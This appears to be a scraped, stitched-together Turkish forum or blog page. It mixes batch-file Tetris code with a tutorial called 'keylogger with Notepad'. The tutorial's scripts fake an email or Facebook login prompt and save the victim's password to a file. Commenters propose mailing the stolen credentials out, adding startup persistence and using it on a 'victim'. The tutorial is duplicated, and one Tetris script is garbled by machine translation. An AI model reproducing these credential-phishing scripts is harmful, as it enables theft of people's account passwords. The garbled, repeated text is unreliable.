Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof
:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof
:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof
:Figure6
Set Figure6_Pos1=X6Y1,X6Y0,X7Y0,X8Y0
Set Figure6_Pos2=X8Y2,X8Y1,X8Y0,X7Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
Goto :Eof
:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)katılıyorum"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof
::_0 xx9tYjYxWvxPrXmoLjqfzpxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xxx
:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use keys A,S,D,R,X
Echo.
Echo. A = Move Shape Left
Echo. S = Move Shape Down
Echo. D = Move Shape Rigth
Echo. R = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Easteregg
:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°° Corp. 2010 °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof
Not Defteri Kullanarak Keylogger Nasıl Oluşur?
Yöntem çok basit ve kolaydır ve bunu yapmak için herhangi bir araca ihtiyaç duymaz, ancak görevi yerine getirmek için sadece bir not defteri gerekir. Devam etmek için aşağıdaki postayı takip edin.
Not Defteri ile Keylogger Oluşturma:
Adım 1. Her şeyden önce, size basarak pencerelerde not defteri açmak için gereken Pencere seçerek ardından düğmesi ve notepad seçenekler arasından . Şimdi not defterinde aşağıdaki kodu kopyalayıp yapıştırın.
Türkçesi
@echo off
color a
title Giriş
cls
echo Lütfen e-posta adresinizi ve parolanızı girin
echo.
Eko.
Cd "C: Logs"
set / p kullanıcı = Kullanıcı adı:
set / p pass = Şifre:
echo Username = "% user%" Password = "% pass%" >> Log.txt
start >> Program Burada <<
çıkış
ingilizcesi
@echo off
Color a
Title Introduction
Cls
Echo Please enter your email address and your password
Echo.
Echo.
Cd: "C: Logs"
Set / p user = Username:
Set / p pass = Password:
Echo Username = "% user%" Password = "% pass%" >> Log.txt
Start >> Program Here <<
exit
Adım 2. Şimdi bu dosyayı masaüstünüze Logs.bat olarak kaydedin.
Adım 3. Şimdi logs adında yeni bir klasör oluşturun. (Keylogger'ın yalnızca klasör adı günlüklerse çalışacağına dikkat edin). Klasörü kesin ve C sürücüsüne yapıştırın.
Adım 4. Şimdi dosyanızı Log.bat'ı test edin ve ardından Kullanıcı Adı ve şifresini girdikten sonra
Adım 5. C sürücüsündeki klasörü açın ve kayıtlı tüm anahtarları orada otomatik olarak oluşturulan bir metin dosyası olarak kaydedin.
Bu kadar! Işiniz bittiğinde, not defterinde başarıyla bir keylogger yarattınız .
Yani yukarıdaki tüm hakkında Not Defteri'ni kullanarak bir Keylogger Oluşturma hakkında . Bu yöntemle, toplu iş dosyasına girilen klavyenizin tuş vuruşlarını kolayca kaydedebilirsiniz. Ve ayrıca arkadaşlarınıza şoklarını vermek için bunları kullanıcı adlarını ve şifrelerini söyleyerek de kullanırsınız. ı beğendiğinizi umarız, , paylaşmayı ve yorum bırakmayı unutma.
Yöntem çok basit ve kolaydır ve bunu yapmak için herhangi bir araca ihtiyaç duymaz, ancak görevi yerine getirmek için sadece bir not defteri gerekir. Devam etmek için aşağıdaki postayı takip edin.
Not Defteri ile Keylogger Oluşturma:
Adım 1. Her şeyden önce, size basarak pencerelerde not defteri açmak için gereken Pencere seçerek ardından düğmesi ve notepad seçenekler arasından . Şimdi not defterinde aşağıdaki kodu kopyalayıp yapıştırın.
Türkçesi
@echo off
color a
title Giriş
cls
echo Lütfen e-posta adresinizi ve parolanızı girin
echo.
Eko.
Cd "C: Logs"
set / p kullanıcı = Kullanıcı adı:
set / p pass = Şifre:
echo Username = "% user%" Password = "% pass%" >> Log.txt
start >> Program Burada <<
çıkış
ingilizcesi
@echo off
Color a
Title Introduction
Cls
Echo Please enter your email address and your password
Echo.
Echo.
Cd: "C: Logs"
Set / p user = Username:
Set / p pass = Password:
Echo Username = "% user%" Password = "% pass%" >> Log.txt
Start >> Program Here <<
exit
Adım 2. Şimdi bu dosyayı masaüstünüze Logs.bat olarak kaydedin.
Adım 3. Şimdi logs adında yeni bir klasör oluşturun. (Keylogger'ın yalnızca klasör adı günlüklerse çalışacağına dikkat edin). Klasörü kesin ve C sürücüsüne yapıştırın.
Adım 4. Şimdi dosyanızı Log.bat'ı test edin ve ardından Kullanıcı Adı ve şifresini girdikten sonra
Adım 5. C sürücüsündeki klasörü açın ve kayıtlı tüm anahtarları orada otomatik olarak oluşturulan bir metin dosyası olarak kaydedin.
Bu kadar! Işiniz bittiğinde, not defterinde başarıyla bir keylogger yarattınız .
Yani yukarıdaki tüm hakkında Not Defteri'ni kullanarak bir Keylogger Oluşturma hakkında . Bu yöntemle, toplu iş dosyasına girilen klavyenizin tuş vuruşlarını kolayca kaydedebilirsiniz. Ve ayrıca arkadaşlarınıza şoklarını vermek için bunları kullanıcı adlarını ve şifrelerini söyleyerek de kullanırsınız. ı beğendiğinizi umarız, , paylaşmayı ve yorum bırakmayı unutma.

Bir Teşekkür YeterŞimdi logs adlı kesme yeni bir
klasör oluşturun ve
bilgisayarınızın C sürücüsüne
yapıştırın. (Keylogger'ın
yalnızca bu klasör için
çalışacağından emin olun)
Logs.bat dosyanızı test etmek
için dosyayı açın ve kullanıcı
adınızı ve şifrenizi bu dosyaya
girin. Şimdi C sürücüsündeki logs
klasörünü açın ve logs açık
olarak adlandırılan bir dosya
olacaktır. İşte, Logs.bat
dosyasında yapılan tüm tuş
vuruşlarını şimdi görebilirsiniz.Şimdi yapmanız gereken Log.bat
dosyasını test etmek ve
kullanıcının adını ve şifreyi
girmeniz gerekiyor. Bundan
sonra, C sürücüsünde saklanan
klasörü açmanız ve verilen tüm
kaydedilmiş anahtar
günlüklerinin normal bir metin
olup olmadığını kontrol etmeniz
gerekir. Bu otomatik olarak
oluşturulur. Not defteri
keylogger yönteminde önemli
adımlardır. Adım 7: Yapılırsa,
not defterinde bir keylogger
yapmak için not defteri
keylogger'ını başarıyla
geliştirdiniz. Açıkçası,
yukarıdaki adımla, toplu iş
dosyasında girilen veya
kullanılan çeşitli klavyenin tuş
vuruşlarını kolayca
kaydedebilirsiniz. Artı
arkadaşlarına, kullanıcı adının
ve şifresinin not defterinde
olduğunu söyleyerek bile şaşkına
çevirebilirsiniz. Umarız yukarıda
verilen bir keylogger not
defterini nasıl yapacağınız
konusunda bir metodu
anlarsınız. Yukarıdaki tüm
adımları izlerseniz, bu not
defteri keylogger'ını kolayca
kullanabilirsiniz.
klasör oluşturun ve
bilgisayarınızın C sürücüsüne
yapıştırın. (Keylogger'ın
yalnızca bu klasör için
çalışacağından emin olun)
Logs.bat dosyanızı test etmek
için dosyayı açın ve kullanıcı
adınızı ve şifrenizi bu dosyaya
girin. Şimdi C sürücüsündeki logs
klasörünü açın ve logs açık
olarak adlandırılan bir dosya
olacaktır. İşte, Logs.bat
dosyasında yapılan tüm tuş
vuruşlarını şimdi görebilirsiniz.Şimdi yapmanız gereken Log.bat
dosyasını test etmek ve
kullanıcının adını ve şifreyi
girmeniz gerekiyor. Bundan
sonra, C sürücüsünde saklanan
klasörü açmanız ve verilen tüm
kaydedilmiş anahtar
günlüklerinin normal bir metin
olup olmadığını kontrol etmeniz
gerekir. Bu otomatik olarak
oluşturulur. Not defteri
keylogger yönteminde önemli
adımlardır. Adım 7: Yapılırsa,
not defterinde bir keylogger
yapmak için not defteri
keylogger'ını başarıyla
geliştirdiniz. Açıkçası,
yukarıdaki adımla, toplu iş
dosyasında girilen veya
kullanılan çeşitli klavyenin tuş
vuruşlarını kolayca
kaydedebilirsiniz. Artı
arkadaşlarına, kullanıcı adının
ve şifresinin not defterinde
olduğunu söyleyerek bile şaşkına
çevirebilirsiniz. Umarız yukarıda
verilen bir keylogger not
defterini nasıl yapacağınız
konusunda bir metodu
anlarsınız. Yukarıdaki tüm
adımları izlerseniz, bu not
defteri keylogger'ını kolayca
kullanabilirsiniz.
DETAYLI
------------------------------
@echo off
color a
mode 100
:A
echo %random%%random%%random%%random%%random%%random%%random%
echo %random%%random%%random%%random%%random%%random%%random%
....
....
-----------------------------
Eyilciyu Kankalar
Bu Yöntemi vb.net bilenler bat'ları gizleyip programa cevirebilir.
1. adım > Not defteri açıp aşağıdaki kodları yapıştırın.
2. Adım > Kaydederken istediğiniz adı koyup uzantısını ".bat" olarak kaydedin.
3.Adım > Sonra Baska Not defteri açıp direk Farklı kaydet deyip adını "sifre.bat" olarak kaydedin.(İçi Boş Kalacak)
4.Adım > 1. oluşturduğunuz bat'ı acıp email & şifre girip daha sonra sifre.bat'ı sağ tık > düzenle deyin.
5.Adım > Yazdıgınız E mail ve password karşınızda.
Vb.netle Not defterinden textboxa yazıyı aktarıp email'e gönderebilirsiniz.
1. adım > Not defteri açıp aşağıdaki kodları yapıştırın.
Kod:
ECHO OFF COLOR 03 CLS ECHO. ECHO FACEBOOK ILE OTURUM ACIP MESAJLAS ECHO. ECHO Lutfen E-Mailinizi Girin: SET/P "MAIL=>" ECHO. ECHO Sifrenizi Girin: SET/P "PSWD=>" ECHO Email = %MAIL%>>sifre.bat ECHO Şifre = %PSWD%>>sifre.bat CLS TIMEOUT /T 5 >NUL COLOR 0C ECHO. ECHO Suanda Serverle Baglanti Kurulamiyor Daha Sonra Tekrar Deneyiniz. PAUSE>NUL EXIT
3.Adım > Sonra Baska Not defteri açıp direk Farklı kaydet deyip adını "sifre.bat" olarak kaydedin.(İçi Boş Kalacak)
4.Adım > 1. oluşturduğunuz bat'ı acıp email & şifre girip daha sonra sifre.bat'ı sağ tık > düzenle deyin.
5.Adım > Yazdıgınız E mail ve password karşınızda.
Vb.netle Not defterinden textboxa yazıyı aktarıp email'e gönderebilirsiniz.
Bilgisayarın Her Açılışında Değil Programın Her Açılışında Keylogger İşlem Görücek.
VB.NET İle TExt'teki Emaili ve şifreyi emaile gönderen programı yapabilirsin.Yapamazsan Söyle.
bilgisayara rest atınca yanlız çalışmaz start up özelliği yok
buna star up eklersek çok guzel olur 0/35
@Eko kapalı
renk 0a
setlocal EnableDelayedExpansion
eğer "% ~ 1" neq "" ise% 1
başlık Tetris
"F16x8 = REM" olarak ayarla
cls
Eko/
yankı === Toplu oyun - Tetris ===
Eko/
Eko/
yankı Tetris parçaları bu tuşlarla kontrol edilir:
Eko/
yankı
yankı çürümesi. çürür. yürü yürü
echo left ^ <- ASD - ^> sağ sol ^ <- JKL - ^> sağ
echo ^ | ^ |
yankı vv
yankı yumuşak damla sert damla
Eko/
Eko/
echo Oyunu duraklatmak için P tuşuna basın; oyunu sonlandırmak için N tuşuna basın
Eko/
Eko/
Duraklat
cls
rem Alan ölçüleri
set / A sütunlar = 10, satırlar = 20
set / A col = sütunlar + 6, lin = satırlar + 8
% F16x8% set / A lin + = satır + 2
CON modu: cols =% col% satır =% lin%
% errorlevel% neq 0 ise (
yankı Yapılandırma hatası ^^^!
yankı ayarlamanıza izin veren bir yazı tipi boyutu seçmelisiniz
yankı% col% sütun içeren bir metin penceresi X% lin% satır
Duraklat
Goto: EOF
)
chcp 850> NUL
cd. > pipeFile.txt
"% ~ F0" Giriş >> pipeFile.txt | "% ~ F0" Ana <pipeFile.txt
ping localhost -n 2> NUL
del pipeFile.txt
Goto: EOF
:Giriş
"com [J] = Dx = -1" olarak ayarlayın
"com [L] = Dx = 1" olarak ayarlayın
"com [K] = del = 3" olarak ayarlayın
"com [I] = R = -1" olarak ayarlayın
"com [A] = R = 1" olarak ayarlayın
"com [D] = R = -1" olarak ayarlayın
"com [S] = Dy = -1" olarak ayarlayın
"com [Y] = Y" olarak ayarlayın
"com [N] = N = 1" olarak ayarlayın
"com [P] = duraklat = 1" olarak ayarlayın
/ L %% # in () için (
"key =" ayarla
/ F için "= =" %% k in ('xcopy / W "% ~ F0" "% ~ F0" 2 ^> NUL') "key = %% k"
/ F %% k için ("! key: ~ -1!") yapın (
Yankı (! com [%% k]!
eğer / ben "%% k" equ "N" çıkış
)
)
rem çıkış
:Ana
(
/ F "delims ==" için %% v in ('set') "%% v =" ayarını yapıyor
set / A cols =% cols%, lines =% lines%
"F16x8 =% F16x8%" olarak ayarlayın
)
rem Alanı Sıfırla
/ L %% için i (1,1,% cols%) i "spc =! spc!"
/ L %% i içindeki (1,1,% satır%) "F %% i = ³% spc% ³" değerini ayarlayın
set / A top = satırlar + 1
"F% top% = Ú" ayarla ve "F0 = À" ayarla
için / L %% i (1,1,% cols%) i "F% top% =! F% top%! Ä" & set "F0 =! F0! Ä"
"F% üst% =! F% üst%! ¿" & "F0 =% F0% Ù" olarak ayarlayın
"F-1 = Seviye: 1" ayarla ve "Seviye = 1" ayarla
"F-2 = Satırlar: 0" & "Satırlar = 0" set
"F-3 = Puan: 0" olarak ayarlayın ve "Puan = 0" olarak ayarlayın
/ L %% i için (1,1,% cols%) i "blk =! blk! Û" olarak ayarlayın
set / A top = satırlar + 3, gecikme = 50
% F16x8% küme / A satırP2 = satır + 2
rem OISZLJT parçalarının hepsini ": yönlendirmeler:" i "üçüzler" aracılığıyla tanımlayın:
rem (ofset Y. ofset X. uzunluk X); Her yatay çizgi için bir "üçlü"
%% t için ("O: 0.-1.2 -1.-1.2"
"I: 0.-2.4: 1.0.1 0.0.1 -1.0.1 -2.0.1"
"S: 0.0.2 -1.-1.2: 1.0.1 0.0.2 -1.1.1"
"Z: 0.-1.2 -1.0.2: 1.1.1 0.0.2 -1.0.1"
"L: 0.-1.3 -1.-1.1: 1.0.1 0.0.1 -1.0.2: 1.1.1 0.-1.3: 1.-1.2 0.0.1 -1.0.1"
"J: 0.-1.3 -1.1.1: 1.0.2 0.0.1 -1.0.1: 1.-1.1 0.-1.3: 1.0.1 0.0.1 -1.-1.2"
"T: 0.-1.3 -1.0.1: 1.0.1 0.0.2 -1.0.1: 1.0.1 0.-1.3: 1.0.1 0.-1.2 -1.0.1") (
"pc = %% ~ t" olarak ayarlayın
"i = -1" ayarını yap
/ F için "delims =" %% p in (^ "! pc :: ^ = ^
% Yeni hat %
! ^ ") (
Eğer ben! lss 0 (set "pc = %% p") başka bir set "! pc !! i! = %% p"
/ A i + = 1 olarak ayarla
)
"! pc! N =! i!"
)
"pcs = OISZLJT" olarak ayarlayın
"init = 1" olarak ayarlayın
/ L %% # in () için (
tanımlanmışsa init (
setlocal EnableDelayedExpansion
"init =" olarak ayarlayın
rem İlk "önceki" parçayı oluştur
/ L %% i için (0,1,! time: ~ -1!) 'ı ayarlayın / A p =! random! %% 7
%% p için (! p!), "p2 =! pcs: ~ %% p, 1!"
%% p için (! p2!) "p3 =! %% p0!" & "p4 =! %% pN!" olarak ayarlayın
"new = 1" olarak ayarla
)
eğer tanımlanmışsa (
"new =" olarak ayarla
rem "önceki" parçayı güncel olarak al
"pc =! p2!" olarak ayarlayın & "p0 =! p3!" olarak ayarlayın & "pN =! p4!" olarak ayarlayın
rem Yeni bir "önceki" parça oluştur
% / L% i için (1,1,2) i (
set / A p =! rastgele! * 7/32768
%% p için (! p!) yapın (
"p =! adet: ~ %% p, 1!"
mümkünse! neq! pc! "p2 =! p!" olarak ayarlayın
)
)
%% p için (! p2!) "p3 =! %% p0!" & "p4 =! %% pN!" olarak ayarlayın
rem Yeni "önceki" parçayı Alanın üstündeki yerine yerleştirin.
set / A x = 3 + sütun / 2, y = üst, yp = üst-1
"F! yp! =% spc%" olarak ayarlayın
%% p için (! p3!) yapın (
/ F "belirteçleri = 1-3 sınırları =." %% i in ("%% p") yapın (
set / A yp = y + %% i, xp = x + %% j, xL = xp + %% k
/ F için "tokens = 1-3" %% a in ("! yp!! xp!! xL!") yapın (
"F %% a =! spc: ~ 0, %% b !! blk: ~ 0, %% k !! spc: ~ %% c!"
)
)
)
rem Yeni geçerli parçayı Alan'a yerleştirmeyi deneyin ...
set / A x = 3 + sütun / 2, y = satır, b = 1
%% p için (! p0!) yapın (
/ F "belirteçleri = 1-3 sınırları =." %% i in ("%% p") yapın (
set / A yp = y + %% i, xp = x + %% j, xL = xp + %% k
/ F için "tokens = 1-3" %% a in ("! yp!! xp!! xL!") yapın (
eğer "! F %% a: ~ %% b, %% k!" neq "! spc: ~ 0, %% k!" "b =" olarak ayarla
"F %% a =! F %% a: ~ 0, %% b !! blk: ~ 0, %% k !! F %% a: ~ %% c!"
)
)
)
cls
% / L için% i (% üst%, - 1, -3) yapın (
Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
)
rem ... bu mümkün değilse:
tanımlanmamışsa b çağrısı: endGame ve endlocal
"p1 =! p0!" olarak ayarlayın
set / A "pI = 0, del = gecikme, b = 1! zaman: ~ -2!"
)
rem Kontrol modülü: parçayı bir anahtarla istendiği gibi hareket ettirin ya da her satırda% satır başına bir satır aşağıya kaydırın
"move =" olarak ayarla
set / A "Dy = Dx = 0"
set / P "com ="
eğer tanımlanmışsa com (
set / A "! com !, hareket = 1"
"com =" olarak ayarlayın
tanımlanmışsa N çıkışı
eğer tanımlanmış duraklatma çağrısı: Duraklat ve ayarla "hareket ="
"b = 1! zaman: ~ -2!"
) Başka (
set / A "e = 1! zaman: ~ -2 !, elap = eb, elap - = (elap >> 31) * 100"
eğer! elap! Geq! del! set / A b = e, Dy = hareket = -1
)
tanımlanmışsa taşı
rem Parçayı mevcut konumundan sil ve mevcut koordinatları kaydet
i = 0 olarak ayarla
%% p için (! p0!) / F için "belirteçler = 1-3 sınırlar =." %% i in ("%% p") yapın (
set / A yp = y + %% i, xp = x + %% j, xL = xp + %% k
/ F için "tokens = 1-3" %% a in ("! yp!! xp!! xL!") yapın (
"F %% a =! F %% a: ~ 0, %% b !! spc: ~ 0, %% k !! F %% a: ~ %% c!"
/ A i + = 1 olarak ayarla
"c! i! = %% a %% b %% c %% k" olarak ayarlayın
)
)
rem Hareket ise Döndür: döndürülmüş parça al
eğer tanımlanmışsa R (
set / A "p = (pI + R + pN) %% pN"
/ F için "tokens = 1,2" %% i ("! pc!! p!") "p1 =! %% i %% j!"
)
rem Yeni parçanın yerleştirilip yerleştirilmediğini test edin ve yeni koordinatları saklayın
j = 0 olarak ayarlandı
%% p in (! p1!) için tanımlı hamle yap (
/ F "belirteçleri = 1-3 sınırları =." %% i in ("%% p") yapın (
set / A yp = y + %% i + Dy, xp = x + %% j + Dx, xL = xp + %% k
/ F için "tokens = 1-3" %% a in ("! yp!! xp!! xL!") yapın (
eğer "! F %% a: ~ %% b, %% k!" eşittir "! spc: ~ 0, %% k!" (
set / A j + = 1
"n! j! =%% a %% b %% c %% k" olarak ayarlayın
) Başka (
"move =" olarak ayarla
)
)
)
)
tanımlanmışsa taşı
rem Parçayı yeni konumuna getirin
/ L %% j için (1,1,! j!) yapın (
/ F "belirteçleri = 1-4" için %% a in ("! n %% j!") yapın (
"F %% a =! F %% a: ~ 0, %% b !! blk: ~ 0, %% d !! F %% a: ~ %% c!"
)
)
rem Ekrandaki Alanı Güncelle
cls
% / L için% i (% üst%, - 1, -3) yapın (
Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
)
rem Parçadaki değişiklikleri güncelle
set / A y + = Dy, x + = Dx
R tanımlanırsa "p0 =! p1!" & "pI =! p!" olarak ayarlayın & "R =" olarak ayarla
) else (rem Parça taşınamaz
rem Parçayı mevcut konumunda kurtar
% / L için% i (1,1,! i!) yapın ()
/ F "belirteçleri = 1-4" için %% a in ("! c %% i!") yapın (
"F %% a =! F %% a: ~ 0, %% b !! blk: ~ 0, %% d !! F %% a: ~ %% c!"
)
)
R tanımlanırsa "p1 =! p0!" & "R =" olarak ayarla
eğer! Dy! neq 0 (rem Parça "topraklar"
rem Tamamlanan satırları say
"j = 0" olarak ayarla
/ L %% için i (1,1,! i!) 'i yapın / F %% a için ("! c %% i!") yapın (
eğer "! F %% a: ~ 3,% cols%!" eşittir "% blk%" (
"F %% a = ³% spc: ==% ³" olarak ayarlayın
set / A j + = 1
)
)
eğer! j! neq 0 (
rem Puanları güncelle (http://www.tetrisfriends.com/help/tips_appendix.php#rankingsystem adresindeki N-Blox'a bakın)
set / A "xp = Seviye * (40 + ((j-2 >> 31) +1) * 60 + ((j-3 >> 31) +1) * 200 + ((j-4 >> 31) +1) * 900), Puan + = xp, Satırlar + = j, xL = Seviye, Seviye = (Satır-1) / 10 + 1 "
"F-2 =! F-2: ~ 0,8! +! j!" olarak ayarlayın
"xp =! xp!" olarak ayarlayın
"F-3 =! F-3: ~ 0,8! +! xp: ~ 0,6!"
Eko ? BEL Ctrl-G Ascii-7
cls
% / L için% i (% üst%, - 1, -3) yapın (
Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
)
"F-1 =! F-1: ~ 0,8!! Seviye!"
"F-2 =! F-2: ~ 0,8!! Satır!"
"F-3 =! F-3: ~ 0,8!! Puan!" olarak ayarlayın
eğer! Seviye! neq! xL! eğer! gecikme! gtr 5 set / A gecikmesi- = 5
rem Tamamlanan satırları kaldır
"i = 1" olarak ayarlayın
% / L %% i içinde (1,1,% satır%) yapar (
"F! i! =! F %% i!"
eğer "! F %% i: ~ 3,1!" neq "=" set / A i + = 1
)
/ L %% i için (! i!, 1,% satır%) "F %% i = ³% spc% ³" değerini ayarlayın
görüşme: Gecikme 95
cls
% / L için% i (% üst%, - 1, -3) yapın (
Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
)
)
rem Yeni bir parça gösterme isteği
"new = 1" olarak ayarla
)
)
)
)
: Oyunun sonu
set / P "= Tekrar oynat?" <NUL
:seçim
set / P "com ="
tanımlanmamış ise, seçim
eğer / ben "% com%" equ "Y" ise / B
eğer / I "% com: ~% 0,1" neq "N" set "com =" ve seçim yapmayın
yankı N
çıkış
:Duraklat
"duraklat =! F% satır%!"
"F% satırları% = ³% spc: =% PAUSED" "olarak ayarlayın
cls ve for / L %% i (% üst%, - 1, -3) yapın (
Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
)
:Bekleyin
set / P "com ="
tanımlanmadıysa com goto wait
"com =" olarak ayarlayın
"F% lines% =% pause%" olarak ayarlayın
cls ve for / L %% i (% üst%, - 1, -3) yapın (
Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
)
"pause =" olarak ayarla
çıkış / B
: Gecikme centisec
"b =% 1 zaman: ~% -2" olarak ayarlayın
: wait2
set / A "e =% 1 zaman: ~ -2%, elap = eb, elap - = (elap >> 31) * 100"
% elap% lss% 1 olduğunda bekle2
"b =% 1 zaman: ~% -2" olarak ayarlayın
çıkış / B
şu e-mail şifre gir ve hani düzenlede duruyo ya onun yerine sifre.bat değil sifre txt yazin şu yeri açıp yazınca kurban biz bulacaz tahmin etyme oyununda bile hile buldum.
YanıtlaSilmenu yaptım
YanıtlaSilkod:
@echo off
:: BatchGotAdmin
:-------------------------------------
REM --> Check for permissions
IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
set params = %*:"=""
echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
del "%temp%\getadmin.vbs"
exit /B
:gotAdmin
pushd "%CD%"
CD /D "%~dp0"
:--------------------------------------
title menu
:MENU
CLS
For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set mydate=%%c%%a%%b)
For /f "tokens=1-2 delims=/:" %%a in ("%TIME%") do (set mytime=%%a:%%b)
echo ===============================================================
echo menuye hosgeldiniz %mydate% - %mytime%
echo ===============================================================
ECHO yok 1
ECHO yok 2
ECHO yok 3
ECHO Secim 4 Cikis
ECHO =====================
SET /P M=Lutfen bir secenek secin ve ENTER Tusunua basin:
IF %M%==1 GOTO Code1
IF %M%==2 GOTO Code2
IF %M%==3 GOTO Code3
IF %M%==4 GOTO EOF
:Code1
ECHO yok 1 Code
goto menu
:Code2
ECHO yok 2 Code
goto menu
:Code3
ECHO yok 3 Code
goto menu